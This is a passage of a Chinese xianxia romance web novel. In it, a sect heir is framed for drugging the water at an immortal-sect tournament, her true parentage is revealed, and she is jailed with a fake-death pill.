娄危雪不愿玲溪走到最后书中的下场,她忍不住叮嘱:“玲溪,如果能够离开合欢宗的话,还是离开吧,花厌她并不是什么好?人,不要在被她给骗了。” 玲溪微微颔首,“少?门主你放心,我知道该怎么做。” 同?娄危雪和沈清鸿行了一路,玲溪看到了她们彼此之间的付出,知道真正的好?是什么样子。 她也明白过来,花厌之前对她的好?,不过都是为了利用她而已。 这路上行来的种种,已经足够让她认识到花厌的真面目了。 “你知道就行。” 两人在原地又?说了会儿话,便?各自离开。 娄危雪没有回房,她在宗门漫无?目的晃悠着,时?不时?就能听到其?他门派的人议论沈清鸿的话。 沈清鸿是年轻一辈的翘楚,光芒太盛,如天?上明月,遮挡住其?他人的光芒,所有人的目光都落在她的身上。 尽管沈清鸿性子冷傲,不常与人交流,但是关于她的消息可谓是层出不穷。 那些?人三?三?两两的聚在一起,八卦着自己得到的消息,说沈清鸿小时?候是什么样子的,长大后又?是什么样的,性格如何,又?喜欢什么。 娄危雪不能去见沈清鸿,却把这些?东西听了个遍,妄图拼凑出一些?沈清鸿的成?长轨迹。 也是这时?,娄危雪才发觉沈清鸿对她是多好?,她又?有多不了解沈清鸿。 这一逛就是一下午,直到天?幕黑下,娄危雪才回到房中,发现屋内多了个人。 看清楚是谁后,娄危雪皱起眉来,满眼嫌弃。 “你怎么来了。” 花厌从房间的阴影处走出,眼神幽暗,“宗主一直没有收到你的消息,叫我来问问云文君的情况。” 云文君闭关的地方难以靠近,如果一直过去恐怕会引起娄青涯的怀疑,娄危雪对于如何与云文君见面没有一点?头绪。 她如实说道:“我娘亲闭关的地方有很多人看守,我进?不去。” 闻言花厌啧了一声,她微启红唇,毫不客气的嘲讽。 “废物。” 娄危雪原本?就心情不佳,闻言脸色瞬间沉下。 她冷哼一声:“你行你去啊,你不是合欢宗的人吗?替花宗主解忧是你的分内之事吧。” 花厌自然也去云文君闭关的地方打?探过,那里根本?就不是随便?能潜入的,哪怕是花醉月本?人亲自过来,想要不着痕迹的进?去都有些?困难。 娄危雪这是在为难她! 见花厌不说话,娄危雪讥讽道:“怎么,堂堂合欢宗的少?主,该不会和我这个废物一样,根本?就做不到吧。” “你!” 花厌气的面色通红,指着娄危雪,偏偏说不出一句反驳的话。 “我怎么了?” 花厌咬牙切齿,却拿娄危雪没有半分办法。 想到来之前花醉月的交待,她黑脸道:“不必和我在这里逞口舌之快,我今日过来是有事情要和你说。” 说着,花厌取出几个绿色的瓷瓶放到旁边的桌子上。 “这是宗主让我转交给你的东西,她叫我告诉你,如果你没有办法救你娘亲出来,那就想办法把这些?东西下到仙门大比上众人会喝的水里。” 娄危雪心生警惕,她可不觉得花醉月会让花厌给她带什么好?东西。 “这是什么?” “放心,这不是什么毒药,只不过是一些?可以压制修为的药而已,如果此事办成?,我会应宗主的要求,将散灵丸的解药交给你。” “你有解药?” “自然。”花厌将解药拿出,故意在娄危雪的眼前晃了几下,殷红的薄唇扯出一抹恶劣的笑容,“想要解药就按照我说的要求去做。” 娄危雪并没有立刻应下,她好?整以暇的掏出在圣山得到的腰牌。 “你不想知道关于这东西的消息了?” 花厌笑容顿时?收敛起来,眼神阴婺。 “少?拿这个要挟我!” 娄危雪学着花厌先前的样子,将腰牌在手中晃了一圈。 “你就说给不给解药吧。” “不给。” 娄危雪心下诧异,明明之前在合欢宗的时?候花厌对这个腰牌还格外在意,怎么转眼就变了态度。 似乎是看出娄危雪心中想法,花厌冷眼看去。 “宗主对于救出云文君的事情很重视,如果事情办砸了,你我都不会有什么好?下场,所以你就不要想着耍花招了。” 娄危雪垂眸沉思,寄春那边已经开始研制解药,眼下最好?先将花厌给稳住,免得自己不答应,花厌找其?她的人搞事情。 她故作犹豫,然后像是没有办法一般,咬牙答应。 “我知道了,我会做的。” 事情已经交待完,花厌却没有离开,依旧站在原地。 沉默几息,娄危雪看着没有动作的人,蹙起眉来。 “你怎么还不走?” 明显赶人的话语叫花厌脸色一黑,若是以往她早就甩袖离去了,哪里会等?到现在。 不过想到来找娄危雪之前发生的事情,花厌暂时?忍住了。 她问:“玲溪她不见我,你是不是和她说了什么?” 娄危雪眉梢微挑,没想到花厌来找自己之前还先去见了玲溪。 看来玲溪是真的已经认清楚了花厌的真面目,娄危雪在心中为玲溪默默点?了个赞。 “玲溪不见你是对的。” 这句话无?异于火上浇油,让花厌的怒火往上又?窜了一截。 “你什么意思!” 娄危雪下巴微抬,睨着花厌,“你一直在利用玲溪,她如今不过是看清现实了而已。” “我……” 花厌想说她没有,但是不知怎的只开了个头就顿住了。 “看来你自己也很清楚。”娄危雪冷眼看着,“既然没有以真心待人,你就该知道骗来的真心总有会被收回的一天?。” 花厌说不出反驳的话,脸上红白交错,恼怒瞪了娄危雪一眼,甩袖离去。 第46章 娄危雪心里还是有些在意?解药的事情,等次日天亮之后?,就去找了李寄春。 “寄春,关于散灵丸的解药,你研制的怎么?样了?” “你放心,很顺利,我已经弄清楚了散灵丸的成分,解药很快就能配置出来。” 李寄春的话叫娄危雪放下心来,这样的话她?就不用理会花厌的威胁了。 将花厌送来的药给放好,娄危雪没有在动。 这一天所有要参加大比的宗门全部到齐,看上去除了人多了些,并没有发生什么?特殊的事情。 晃眼时间过去,仙门大比正式开始。 一众的仙家门派齐齐汇聚在此处,与?各自的门派弟子待在一起。 每个宗门在来云霄门的时候都有在名册上登记过参赛的弟子名字,然后?被分发了令牌。 所有的参赛人员被分成一个个的小组,在组内进行?内战,决胜者晋级。 场上准备了数十?场擂台,已经有人站在擂台上,等着对手上台。 几乎在同一时间,那些站在台上的人纷纷察觉出了身体中?的不对劲,有人试图运气飞上擂台,却站在原地,动不了分毫。 “怎么?回事?我的灵力呢?” “这……这是我打出来的攻击?” “我也不行?,怎么?会这样?” …… 骚乱渐起,各个宗门的带队长老或者是掌门纷纷意?识到了不对,跟着运气结果发现使出来的招式,威力不足往日四分之一,修为?低下的甚至连灵力都无法动用,宛如一个没有修为?的普通人。 娄危雪听着议论,一脸震惊,她?并没有下药,可是众人眼下的情况同花厌说的中?了药的情况一模一样,这究竟是怎么?回事。 各个宗门纷纷叫嚷起来,“娄宗主,你是否要给个说法。” 娄青涯默默试了下自己?的灵力,同样受到了影响。 他?沉下脸,抬手道:“大家稍安勿躁,我这就去着人调查,定会给大家一个交代。” 正在此时,施梦突然站出来,扬声道:“不必查了,我已经知道这是怎么?回事了。” 有人认出她?的身份,“这好像是天一宗的人。” 还有人开始追问:“这位小友,你知道些什么??” 李寻真眉头皱起,眼下情况迷离,人人修为?受限,为?什么?施梦会清楚。 接着他?就听到施梦回答道:“我昨夜睡不着在外?面闲逛,结果见到云霄门的少门主娄危雪,鬼鬼祟祟的去了灵泉,不知道干了什么?。” 众人这几日的吃喝洗漱用水皆取自灵泉,若是灵泉被动了手脚,所有人都得?出问题。 娄危雪没想到矛头会直接转到她?身上,她?微微怔愣,随后?立刻反驳。 “我昨夜一直在房间里,根本没有出门,更没有做那种事情。” 施梦否决的坚定,“你胡说!定是你在灵泉中?动了手脚。” 李寄春不相?信娄危雪会做出这种事情,插话道:“既然你昨夜见到危雪,怎么?当时不说。” 此言一处,众人纷纷应和。 “是啊,你怎么?当时不阻止,还要等到现在。” “施道友,你是否需要解释一下。” …… 施梦面对众人的质问,毫不畏惧。 “娄危雪是云霄门的少门主,我只是看到她?在那边徘徊觉得?奇怪,谁知道她?竟然做出这种让人不耻的事情出来。” “我没做。” 娄危雪皱起眉来,她?昨夜一直安分的呆在房间,她?与?施梦无冤无仇,不知道为?什么?施梦一口咬死是她?做的。 “有没有做不是你空口说了算的,你敢让人搜你的房间吗?” 施梦抱臂冷眼看着娄危雪,等着娄危雪的回答。 娄危雪顿时哑口无言,花厌给她?的东西?她?还放在房间中?,这要是被搜了,岂不是一下子就搜出来了。 见娄危雪不说话,施梦气焰嚣张。 她?眉梢挑起,启唇讥讽:“怎么?,心虚了,不敢了?” 娄青涯意?识到不对,面色威严。 “危雪,到底怎么?回事?” 娄危雪白百口莫辩,只能坚持倔强的否认。 “我没做。” 有其他?门派的人坐不住了,见状提议道:“娄宗主,既然这位小友坚持说自己?没做,那不如让人去她?的房间搜查一番,若是没有查出东西?,或许还能稍微洗脱些嫌疑。” “是啊,娄宗主,我们这么?多人平白被封了修为?,你是不是该给我们一个交代。” “没错,只是搜查房间而已,这个要求不过分吧。” 众人催促着,云霄门作?为此次仙门大比的场地,娄青涯又是这次仙门大比的主要负责人,出现这种事情,他?万言难辞其咎,能做的只有尽快调查清楚真相?,进行?弥补。 当着这么?多人的面,娄青涯不好为娄危雪说话。 他侧眸看了眼秦少阳,吩咐道:“少阳,你去看看。” “是。” 秦少阳应下正要下去,结果再次被施梦给拦住。 “等等,娄掌门只叫自己?门派的人去查,是否有些不妥,谁知道他?查到东西?会不会知情不报。” “你想怎么?办?” “如今五大宗门都在,不如从五大宗门各出一个人,一起去调查,如何?” 娄青涯被架在高台,只能答应。 “可以。” 天一宗去的人自然是施梦,云霄门是秦少阳,李寄春也被宗门派出,剩下两个宗门同样各自派了一人出来。 一行?人离开去往娄危雪的房间,娄危雪被留在原地,她?很清楚那些人能从她?的房间找出什么?东西?,面色有些发白。 沈清鸿瞥了眼娄危雪的神?情,眉头微皱,眼底划过一抹担忧,又很快消失不见。 未过多久,一行?五人回来。 娄青涯询问:“如何,可有查到什么??” 李寄春和秦少阳两人面色不太好看,施梦站了出来,将几个瓷瓶拿出,正是花厌那天晚上给娄危雪的那些。 施梦高举起瓷瓶,展示在众人面前。 “大家请看,这是我们从娄危雪房间中?找出来的,这个瓶子上有合欢宗的标记,至于里面装的东西?,还请李道友说明一下。” “这……”李寄春咬咬唇,不知道该不该说。 施梦挑了挑眉,“场上医修不少,如果李道友不愿意?说,我可将此药物给其他?的医修查看。” 把药交给其它的医修查看言说,那还不如自己?来。 李寄春无奈,只能如实道:“这是断虚散,溶于水后?无色无味,可封禁元婴以下的灵力修为?,元婴以上同样会受影响。” 施梦走到娄危雪面前,厉声质问:“现在物证在这里,你还有什么?好说的?” “这说不定是栽赃,危雪她?不可能做出这种事情。” 李寄春依旧选择相?信娄危雪,秦少阳玲溪这种同娄危雪关系不错的,同样帮着娄危雪说话。 施梦沉下脸,怒哼一声。 “我昨夜亲眼所见,怎么?会是栽赃?你这是在质疑我,还是在质疑天一宗!” 虽说仙门大比上会重新角逐出仙门魁首,但是按照过往记录来看,若无意?外?,魁首往往都是五大门派其中?之一。 一顶质疑天一宗的帽子扣下来,李寄春有些吃不消。 边上李寻真闻言双眉皱起,对于施梦随便?就把天一宗抬出来压人的这个事情,有些不赞同,但也没多说什么?。 至于沈清鸿,她?垂着眸,不知道在想些什么?,神?色不明。 场内,一双双眸子瞪向娄危雪。 “云霄门的门主之女,为?什么?要同合欢宗勾结?” “你为?什么?要这么?做,合欢宗给了你什么?好处?” “该不会是云霄门担心自己?此次获得?不了什么?好名次,所以才出此下策吧。” 句句质疑叫娄青涯面色稳不住,他?沉脸看着娄危雪。 “九寒,这些东西?是哪来的?” 娄危雪抿着唇并未说话,她?如果说是花厌给她?的,要怎么?解释她?同合欢宗的关系。 有人凉凉开口,他?们可还等着娄青涯给他?们交代呢。 “娄宗主,你的女儿做出这种事情,你该不会包庇吧。” “对,不能包庇,犯下这种错事,她?需要付出代价!” 场上群情激奋,纷纷叫嚷着让娄青涯惩罚娄危雪。 恰在这时,有香风吹来。 “不愧是仙门大比,还真是热闹。” 人未到,声先至。 众人顺着声影望去,只见远方?的空中?飘着一顶华丽的软轿,轿上雕刻着合欢宗的门派徽章,层层纱幔挡住了坐在轿子中?的人,而在轿子的后?面是一众穿着粉色纱衣的合欢宗弟子。 她?们来的速度很快,不过是几息的功夫,便?已到众人面前。 花醉月从轿中?飞下来,红衣艳艳,黄金面具在阳光下散发着夺目的光芒。 看清来人是谁的时候,在场的人面色纷纷变了。 娄青涯毫不客气的直呼其名,“花醉月,你怎么?来了。” 花醉月扬唇冷笑,“我合欢宗也是仙家宗门,这仙门大比如何来不得??” 不知道哪个门派的人闻言怒道:“呸,你还好意?思说,你指使人为?我们下药,手段下作?为?人不耻!” 花醉月眼睛微眯,身形快的出了残影,说话的人还没反应过来,花醉月就已经出现在了那人的面前。 她?面无表情,白皙的手指掐在那人的脖子上,竟生生将人给提了起来。 那人无法呼吸面色涨红,朝着花醉月动手被花醉月轻易化解。 他?周围的人上前帮忙,但根本就不是花醉月的对手。 花醉月的手指越收越紧,那人很快便?两眼后?翻,在他?就要昏过去的时候,花醉月突然松手将人给丢下了。 这一切不过都发生在瞬息之间,花醉月像是个没事人一般,唇角挂着漫不经心的笑容。 场上人人自危,哪里还有人去惦记惩罚娄危雪事情,纷纷把目光放在花醉月的身上,心生警惕。 好好的一场仙门大比变成了这副模样,娄青涯脸色铁青,面子上根本挂不住。 他?可不相?信花醉月真的是来参加大比这么?简单。 “花醉月,你来这里究竟是要干什么??” “当然是带文君和我女儿回去。” 花醉月一副理所当然的模样,随后?向着娄危雪招了招手。 “危雪,过来。” 沈清鸿和李寻真面色齐齐一变,不可置信的看着娄危雪。 在合欢宗和圣山的记忆朝着沈清鸿汹涌而来,之前不合理的地方?瞬间合理起来。 怪不得?那个神?秘人会把娄危雪错叫成花醉月,怪不得?在合欢宗的时候花醉月对娄危雪会那么?好! 原来一切都有迹可循,只不过当初她?被感情蒙蔽,选择相?信了娄危雪。 她?愧对师傅,竟然喜欢上了仇人之女,还怀了仇人之女的孩子。 沈清鸿情绪起伏,周遭灵力波动,眼底红光时隐时现。 李寻真就站在沈清鸿身边,大惊失色。 “清鸿!” 娄危雪听到动静望了过去,对上沈清鸿嗜血暴戾的眸子,面色变得?煞白,浑身冷的厉害,犹如被人从头浇了盆井水。 清鸿仙尊,知道她?的身份了…… 所有人都被这一变故惊到,娄青涯同样不可置信。 “怎么?可能,危雪明明是我的女儿!” “哈哈哈哈。” 花醉月仿佛是听到了什么?可笑的事情一般,朗声大笑,然后?突然解下自己?的面具,一张与?娄危雪有六七分相?似的面容出现在众人面前。 “现在,看着我的这张脸,你还觉得?娄危雪是你的女儿吗?” 两张相?似的容颜摆在一起,任谁来看都会觉得?娄危雪是花醉月的女儿。 娄青涯闭了闭眼,勉强认清现实。 “九寒是你的女儿,那我的女儿呢,你把她?弄哪去了?” 见娄青涯一副备受打击的模样,花醉月心情颇好,回答了娄青涯这个问题。 “玲溪,去认认你爹吧。” “什……么??” 玲溪一脸恍然,如在梦里。 花醉月并未在这个事情上多做纠结,点明玲溪身份后?就不管了。 场上局面有些混乱,底下那些宗门私下交流起来,纷纷觉得?这就是娄危雪为?什么?要给她?们下药的原因。 有人站出来,询问:“花醉月,你今日过来,究竟想怎么?样。” “我与?文君两情相?悦,可恨娄青涯这伪君子横插一刀将文君从我身边夺走,后?来更是将文君囚禁在宗门,禁止文君外?出一步。” 众人被又一个消息惊到,据说云文君是在闭关,怎么?到了花醉月口中?就成了被囚禁了了,他?们看娄青涯的眼神?古怪起来。 云霄门好歹也是五大仙门之一,娄青涯平日看着一副正人君子的模样,私底下竟然做出这般事情? 有人询问:“娄宗主,这到底是怎么?回事,难道真的像她?说的那样吗?” “让诸位笑话了,”娄青涯露出一抹苦笑,“当初文君不知怎的非要去找花醉月,她?是我妻,我怎会愿意?,不得?已这才将她?关起来。” 花醉月不清楚娄青涯是因为?什么?关的云文君,但是事情绝对不是像他?说的那般。 不过她?不想在不知道的事情上同娄青涯费口舌,也没功夫听娄青涯在这里说这些,耐心逐渐见底。 “我今日过来就是为?了带文君和危雪离开,娄青涯你若是识相?,就将文君放出来。” 娄青涯自是不愿,一口否决。 “文君是我妻子,你休想将她?带走。” “那就别怪我不客气了,”花醉月冷哼一声,耐心彻底消失,“动手!” 一声令下,合欢宗的人纷纷拿起武器动了起来。 众人见状同样抽出武器进行?迎击,场上一片混乱。 花醉月事先有所准备,带了不少人过来,加上众人都中?了药,根本就不是合欢宗的对手 如沈清鸿之流原本就境界高的人,尚且还有还击之力。 尽管如此,合欢宗的弟子们没多大会功夫手中?就抓了个其它门派的弟子,剩下的人忌惮与?同门被抓,完全不敢随便?动手。 场面焦灼起来,花醉月倒是很满意?眼下的情况。 她?看着娄青涯,语带威胁:“放了云文君,否则我把他?们都杀了。” 为?了参加仙门大比,这次来的人都是各个门派中?的翘楚,若是她?们出事,那宗门相?当于没了未来。 不少仙门掌门按捺不住,“娄宗主,事情到了这一步,还是快些放人吧。” “是啊,把云文君放了吧。” 在众人面前,娄青涯没有办法,只能叫人把云文君给带了出来。 这是娄危雪第一次见到云文君,那是个容貌温婉的女子,多年的囚禁让她?肤色有些苍白,她?垂着眸,正一点点的朝着花醉月走去。 花醉月站在原地,脸色温柔。 “文君,我来接你了。” 娄危雪站在一边看着,云文君距离花醉月越来越近,直到被花醉月抱入怀中?。 不过下一秒,花醉月面上闪过一道痛楚,随后?退开几步同云文君拉开了距离。 娄危雪这才发现,云文君手里正拿着个不知道从哪弄来的匕首,鲜血染红了匕首的刀刃,露出的双眸中?,毫无神?采,一如被人操控了一般。 花醉月显然也发现了云文君的不对,满脸怒气,朝着娄青涯走去。 “娄青涯!你对文君做了什么?!” 边上的花厌同样发现花醉月受伤,一脸关切的走过去。 “宗主,你的伤……” 嘴上说着关心的话,却在下一刻调转全部内力,向着花醉月拍去。 花醉月立刻抬手想要挡下攻击,但是花厌一直以来掩藏的太好了,这次袭击又来的突然,加之花醉月已经受了伤,猝不及防之下,竟然没有挡住花厌的攻击。 一口鲜血从花醉月唇边溢出,娄青涯和沈清鸿见状趁机发难,齐齐向着花醉月袭去,场上情势急转直下,花厌很快也加入战斗中?。 花醉月面色瞬间沉下,应对着袭来的攻击,可是她?接连两次受伤,且都是朝着要害去的,如今能够站在这里已是难得?。 合欢宗的弟子想要过去帮忙,但是被仙门中?人给挡住,尽管这些人没了修为?,不是她?们的对手,可是数量有些多,阻挡着她?们去救花醉月的路。 在三人的围攻下,花醉月节节败退,身上的伤口越来越多,鲜血染红了她?的衣服。 在一次躲过娄青涯刺来的剑刃后?,花醉月没能躲过沈清鸿攻击,均湘剑锋锐无匹,刺入花醉月的肩头,又被沈清鸿冷漠拔出。 血花在空中?溅起,花醉月身形摇晃站立不住。 她?受伤太多,血流如注,眼前一阵阵发黑,几乎要看不清面前的人。 花厌趁机补上一掌,花醉月终究还是没有撑住,摔倒昏迷。 沈清鸿没有停手,她?提着剑面色冷的厉害。 之前在合欢宗没能杀死花醉月,眼下是绝好的机会,她?要为?师尊报仇! 剑刃闪过一道寒芒,向着花醉月的心脏刺去,在剑尖即将刺入花醉月胸口的瞬间,一把扇子从远处飞来,击中?均湘。 这一扇子的力道过于强劲,加上沈清鸿的修为?被压制,手腕颤抖,均湘剑竟险些被击飞。 而那挥出去的扇子在空中?回旋,竟重新落入一人的手中?。 正是娄危雪和沈清鸿在合欢宗圣山上遇见的那个人,在那人出现的瞬间,花厌默默走了过去。 “师傅。” 场上的合欢宗弟子面面相?觑,认出来人的身份,正是合欢宗的上一任宗主花问宵,花厌的师傅,也是花醉月的师姐。 两边都有些弄不清楚眼下的情况,花问宵看向众多的合欢宗弟子。 “都停手吧。” 合欢宗的弟子有些迟疑,暂时没有停下。 花问宵眼睛微眯,浓厚的威压从她?身上散开。 “怎么?,现在我的话你们可以不听了吗?” 花厌适时开口,“当初是因为?我师傅不在,花醉月才能继承宗主的位置,如今我师傅回来了,你们不清楚要听谁的指令吗!” “还不快停手!” 花问宵到底是前任的合欢宗宗主,在花醉月重伤昏迷的情况下,合欢宗的人只能暂时停手。 娄危雪在旁边算是看明白了,怪不得?她?之前用令牌不能胁迫花厌了,原来是花厌直接找到了令牌的主人。 今天的这一出闹剧中?,恐怕少不了花问宵的手笔。 场上重新恢复平静,花问宵在娄青涯不远处站定。 她?笑眯眯的,“娄宗主,我们做个交易吧。” 第47章 娄青涯一副戒备的模样?,“你想?干什么?” 花问?宵扬了扬下巴,“你把醉月给我,我让合欢宗的人全部撤走,如何?” 沈清鸿下意识的想?让娄青涯拒绝,“不行,不能答应!” 她好不容易就可以为师尊报仇了,怎么可以在?此?刻停下! 花问?宵神色未变,依旧笑着,看?起来?一副极好说话的模样?。 “你们如今灵力受限,我们合欢宗的人可不同,若是不把人给我,我就只能硬抢了,到时候可不知道要流多少血。” 沈清鸿还想?反驳,被李寻真拉住,用眼神示意沈清鸿不要轻举妄动。 娄青涯并没有立刻答应,“我们是被锁了修为,你们如果硬要抢人,也?要付出不不小的代价。” 花问?宵笑得妖艳诡秘,视线从底下一众修士的脸上扫过。 “代价是有,但是与这么多的仙门未来?相比,倒也?划算。” 此?言一处,场上众人脸色非常难看?,谁都不能保证自家?的弟子不会在?这次乱斗中牺牲。 花问?宵将众人反应收在?眼中,薄唇轻勾,适时放松了态度。 “我只要一个醉月,这对你们来?说,并没有什么损失,不是吗?” 娄青涯面上几?番犹豫,一些门派的掌门先按捺不住,纷纷劝说娄青涯答应。 众口?铄金,娄青涯无奈只能应下。 “好,人给你,你带着合欢宗人离开。” 沈清鸿站在?李寻真身旁,心有不甘,“师叔,难道真的要眼睁睁的看?着花醉月被带走吗!” 李寻真摇了摇头,“动起手来?,伤亡太大?了。” 沈清鸿显然明白这个道理,她面色冷若寒霜,捏着均湘剑的手用力的颤抖,需要很大?的力气才?能忍住不去杀花醉月。 花醉月被娄青涯送到花问?宵的手中,她也?按照约定带着合欢宗的人全部离开。 这边合欢宗的人撤了,但是娄危雪还在?,众人的目光重新落在?娄危雪的身上。 “娄宗主?,这个合欢宗妖女的孩子,你要怎么处理。” 娄青涯有些沉默,看?着娄危雪,眼神复杂。 “你有什么要说的吗?” 娄危雪不知道那药是谁下的,也?不清楚为什么施梦会跳出来?指认她,不过估计同花醉月或者花问?宵有关系。 她蜷缩起手指,面色有些苍白。 “我没有下药。” 并不是一句没有下药就能随便洗清身上的嫌疑,有人跳出来?质问?:“你说没下药,那从你房间搜到的东西你要怎么解释?” 索性身份已经曝光,这次娄危雪没有隐瞒。 她如实道:“那些药是花厌给我的,不过我并没有用,之所以收下是为了让花厌放松警惕,防止我不答应后?她会找其他人下药。” 有人冷笑一声,语带嘲讽,“你的意思是说,花厌在?明确知道你会下药之后?,还把药给其她人了?这么说,我们还要谢谢你为我们考虑了?” 这人的语气,摆明是不相信的意思。 娄危雪眉毛皱起,“我不知道,我只是说我没有下药。” 经过花醉月那么一闹,根本没多少人相信娄危雪。 “空口?无凭,你又是花醉月的孩子,我们凭什么相信你。” “我……” 娄危雪想?要自证,但是她发现除了重复她没下药的说法外?,拿不出任何的证据出来?。 合欢宗平日?里行事诡谲,底下的合欢宗弟子没少给人下合欢散强迫双修,甚至还有人被抓去被当做炉鼎,最后?被吸成人干的,没少在?外?拉仇恨。 今天仙门大?比上,花醉月又带着合欢宗的弟子那般威胁仙门中的这些人,这些人早就受够了。 花醉月是被带走了,但是她的女儿还在?。 “娄危雪是花醉月的孩子,她说的话不能信,杀了她!” 不知道是谁起了个头,众人的情绪受到鼓动,纷纷叫嚷起来?。 “对!杀了她!” “花醉月这个魔头的孩子不能留!娄掌门快杀了她!” 群情激奋,全部叫嚷着要杀了娄危雪。 沈清鸿在?一侧看?着,入耳的是人们叫嚣着要杀掉娄危雪的声音。 她看?着站在?原地的人,少女有些无措,原本就没有什么血色的面容更显苍白,将一双眼睛衬的格外?漆黑明亮,薄唇正紧紧的抿着,透露出一丝隐忍的倔强。 明明是杀师仇人的女儿,若是死了花醉月将会体会到同她一样?失去亲人的痛苦,她也?算是为师尊报仇了。 可是只要想到少女会变成一具冰冷的尸体,同师尊一样?以后?都见不到了,沈清鸿心口?一阵慌乱,灵力险些没有稳住。 不行,娄危雪不能死! 更何况,沈清鸿明白,娄危雪根本不是会做出那种事情的人。 得出结论的一瞬间,身体已经比脑子快一步做出反应,向前走了一步。 沈清鸿的声音响起,在?一众喊杀的人中显得格外?不一样?。 “药瓶的事情也?可能是栽赃,事情未经调查,单凭一个人的说辞,未免有些太过草率。” 听到沈清鸿的话,娄危雪微怔,接着是不可?*?置信与诧异,还带着一丝微不可查的惊喜。 她的身份已经彻底曝光,在?明知道她是花醉月女儿的情况下,清鸿仙尊竟然帮她说话了? 那是不是说明,她和清鸿仙尊…… 不不不,娄危雪立刻摇头打断自己的思绪,神情重新变得苦涩起来?。 清鸿仙尊帮她说话已是难得,怎么可能还会选择同她在?一起呢。 在?她胡思乱想?间,李寄春跟着站出来?帮娄危雪说话,“对啊,事情都没调查清楚,万一错污了好人怎么办!” 玲溪同样?道,“我相信少门主?,她不会做出那种事情的。” 之前在?乔宅遇到的济苍宗的人,还有在?乔宅地下被救出来?的人,纷纷站出来?为娄危雪求情,要求再调查一番。 虽然为娄危雪说话的人不算多,但也?够了。 娄青涯适时出声:“这次仙门大?比出现这般严重的问?题,我这个做掌门的责无旁贷,定会给诸位一个交代,就是不知道诸位愿不愿意卖我个面子,让我派人调查一番,再做决定。” 云文君多年被娄青涯囚禁,娄危雪可以说是他一个人养大?的,就算突然知道娄危雪的真实身份,也?还是有一丝感情在?的,他并不愿真的看?着娄危雪死去。 此?次仙门大?比能够在?云霄门召开,足以见得云霄门在?仙门中的影响力。 加之有沈清鸿和各宗门的弟子为娄危雪说话,众人勉强停下了喊杀的话。 原本躁动的人心,暂时安静下来?,不少人都愿意卖娄青涯这个面子。 “可以调查,但是总要有个时间限制吧。” 有人提议,“事情耽搁的越久,线索越不容易调查,我们也?不可能在?云霄门逗留很久,不如三天怎么样??” “我觉得可行,娄掌门,如果三天后?的此?刻你没有找到除娄危雪之外?下药的人,便按照我们的要求,将她处死,你意下如何?” 话已经被说到这个份上,娄青涯没有反驳的余地。 他应下,“好,那就三天,三天后?的此?时我定会给诸位一个交代!” 出了这种事情,仙门大?比是进行不下去了,众人逐渐散去,回住所调理被锁灵力的身体去了。 娄危雪被秦少阳带走,关在?云霄门的牢房中。 牢房很简陋,只有角落处放着散乱的稻草,似乎是用来?睡觉的地方。 娄危雪靠了过去,疲惫的闭上眼睛。 今天发生的事情实在?是太多了,她的脑子一团乱,各种纷杂的思绪搅和在?一起。 如今她的身份已经曝光,看?仙门那些人的样?子,如果娄青涯不能在?三天内查明陷害她的人,她恐怕就要死了。 娄危雪嘴角泄露一丝苦笑,她是花醉月的女儿,如果她死了,清鸿仙尊就不会陷入自我矛盾中,不用考虑用什么感情面对她,想?必会轻松许多吧。 可娄危雪也?不那么想?死,她心中存着一丝侥幸。 清鸿仙尊今日?为她说话了,那她是不是可以想?的再多一点,她同清鸿仙尊是不是还有可能。 就这么靠着墙壁胡思乱想?着,不知道过了多久,牢房外?的廊道上传来?一阵脚步声,紧接着是牢房被人打开的声音、 娄危雪听到动静抬起头,发现站在?她面前的人是玲溪。 玲溪一副担忧的模样?,把外?面的情况简单说了一下。 “娄宗主?已经让人开始调查关于?下药的事情了,少门主?你放心,只要你没下药,娄宗主?一定会还你清白的,不过就是还需要你在?这里等等。” 真正下药的人必然还留在?宗门,知道要开始调查,肯定会想?办法掩藏。 娄危雪不认为下药的幕后?之人,会这么容易就被查出来?。 不过她并没有提,只是朝玲溪笑了笑。 “我已经不是少门主?了,玲溪,你才?是娄青涯的亲生女儿,这个宗门真正的少门主?。” “霸占了你的位置这么多年,很抱歉。” 玲溪面色涨红,连连摆手。 “少门主?你别这么说,并不是你要这样?的,这不是你的错。” 娄危雪微微一笑,“别叫我少门主?了,喊我名?字吧。” “是,少……”玲溪抿了下唇,然后?有些迟疑,“娄危雪?” 娄危雪点头,“这样?才?对。” 玲溪在?心里默念几?遍,习惯了一下,然后?才?继续说起正事。 “我这次过来?除了看?望你,主?要是为了送这个进来?。” 说着,她从怀中取出一颗用纸包着的药丸出来?。 “宗主?派人看?管了这里,一般人不能随便进来?,李道友没有办法,找到我,将这个东西给了我。” “这是她做好的假死药,若是万一宗主?查不出东西,可以借此?假死脱身。” 娄危雪不由在?心底感叹寄春是真的可靠,她将假死药收好握在?手心。 “多谢。” 按照原本的计划,娄危雪是打算等仙门大?比找机会假死的,不过想?到沈清鸿和她腹中孩子,娄危雪改了主?意。 现在?,如若不到最后?一刻,她不会随意使用假死药,但愿娄青涯能够查到幕后?的人。 之后?玲溪又问?了娄危雪那晚花厌找过来?的事情,便离开了。 她虽然恢复了身份,但是并不能在?这里久留。 后?面的几?天,玲溪没有在?过来?,时间来?到第三天。 娄青涯派了很多人调查,但是云霄门来?的人实在?是太多了,三天的时间远远不够。 有人看?到花厌去了娄危雪的房间,坐实了东西是合欢宗的人给娄危雪的事实,而且那天除了施梦之外?,并没有人在?其它时间点看?到娄危雪,没有人给娄危雪做不在?场证明。 等娄危雪再见到玲溪的时候,玲溪的样?子很狼狈,她像是匆忙赶过来?的一般,额头上布着汗水,眼神有些微的慌张。 她甚至连牢房的门都没顾上打开,紧紧抓住栏杆,催促。 “快,快吃假死丸,再晚就来?不及了。” 娄危雪有些失望,看?来?幸运并没有眷顾她,娄青涯什么都没有查到。 她明白眼下已经没有别的选择,若是不吃只能被杀掉,无奈之下,娄危雪只能取出假死丸。 在?她将药丸放入口?中的下一秒,通道走入一排人,是秦少阳带队的云霄门弟子。 看?着娄危雪,秦少阳眉头皱起,想?说什么但又什么都没说。 他将牢房的门打开,侧身示意娄危雪出来?。 娄危雪心中明了,跟着人走了出去,她被带到云霄门的议事厅。 议事厅来?了不少人,大?多是仙门大?比上各个仙门的宗主?和长老,也?有人还没到,至少娄危雪没见到天一宗的人,李寄春也?不在?这里。 娄青涯坐在?主?位上,眼神复杂。 有人看?到娄危雪被带过来?后?,已经有些按捺不住了。 “娄宗主?,已经三天了,你什么都没查到,是时候履行约定了。” 娄青涯眉头皱起,“诸位莫急,时间还没到。” 虽然今天是第三天,但是还没到三天前的那个时间——午时。 “怎么没到,今天不就是第三天吗?” 这是按捺不住的人。 